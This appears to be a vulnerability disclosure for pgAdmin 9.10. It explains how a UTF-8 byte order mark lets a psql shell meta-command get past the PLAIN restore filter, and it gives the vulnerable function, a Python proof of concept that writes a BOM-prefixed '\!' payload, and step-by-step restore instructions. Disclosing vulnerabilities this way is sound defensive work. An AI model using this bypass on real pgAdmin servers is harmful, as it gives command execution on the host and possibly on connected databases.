The PLAIN restore meta-command filter introduced in pgAdmin as part of the fix for Issue 9320 does not detect meta-commands when a SQL file begins with a UTF-8 Byte Order Mark (EF BB BF) or other special sequences. The implemented filter uses the function has_meta_commands(), which scans raw bytes using a regular expression. The regex does not treat the bytes as ignorable, so meta-commands such as ! remain undetected. When pgAdmin invokes psql with --file, psql strips the bytes and executes the command. This can result in remote command execution during a restore operation.
This bypass affects the patch introduced in commit 1d397395f75320ca1d4ed5e9ca721c603415e836 (https://github.com/pgadmin-org/pgadmin4/commit/1d397395f75320ca1d4ed5e9ca721c603415e836)
Confirmed affected:
- pgAdmin 9.10 snapshot
Commit:63ee81202b65e1e8923eb1b917b49312a6fb7df2(2025-11-13)
Likely affected:
- Any version containing the patched
has_meta_commands()from commit1d397395f75320ca1d4ed5e9ca721c603415e836
- 9.11+: plain restores run in psql restricted mode
(\restrict), so meta-commands are now blocked by psql itself - 9.10: vulnerable to filter bypass.
web/pgadmin/tools/restore/__init__.py- Function
has_meta_commands()
Relevant code (from patched version):
def has_meta_commands(path, chunk_size=8 * 1024 * 1024):
pattern = re.compile(br'(^|\n)[ \t]*\\')
with open(path, "rb") as f:
prev_tail = b""
while chunk := f.read(chunk_size):
data = prev_tail + chunk
if pattern.search(data):
return True
prev_tail = data[-10:]
return False- SQL files are opened in binary mode.
- The regex only treats spaces and tabs as ignorable before a backslash.
- A UTF-8 BOM (EF BB BF) or similar sequence placed before the backslash prevents detection.
- pgAdmin incorrectly concludes the file contains no meta-commands.
- psql strips the BOM upon reading and executes the meta-command normally.
- SQL files containing meta-commands should be blocked regardless of BOM.
- BOM-prefixed meta-commands bypass the filter and allow execution.
Step 1: Create a SQL file beginning with a BOM and a meta-command.
payload = b"\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran\nSELECT 1;\n"
with open("bypass_bom.sql", "wb") as f:
f.write(payload)Step 2: Verify BOM:
xxd bypass_bom.sql | head -1Expected:
ef bb bf 5c 21 ...Step 3: Place file into pgAdmin storage:
/var/lib/pgadmin/storage/<user>/bypass_bom.sqlStep 4: In pgAdmin: Restore -> Format: PLAIN -> select bypass_bom.sql -> Run
Step 5: Verify execution:
ls /tmp/bom_ranControl file without BOM is correctly blocked.
BOM-prefixed payload:
\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran
SELECT 1;Control payload:
\\! echo SHOULD_BE_BLOCKED
SELECT 1;- Command execution through meta-commands.
- Arbitrary file read/write.
- Full pgAdmin host compromise.
- Possible compromise of connected PostgreSQL servers.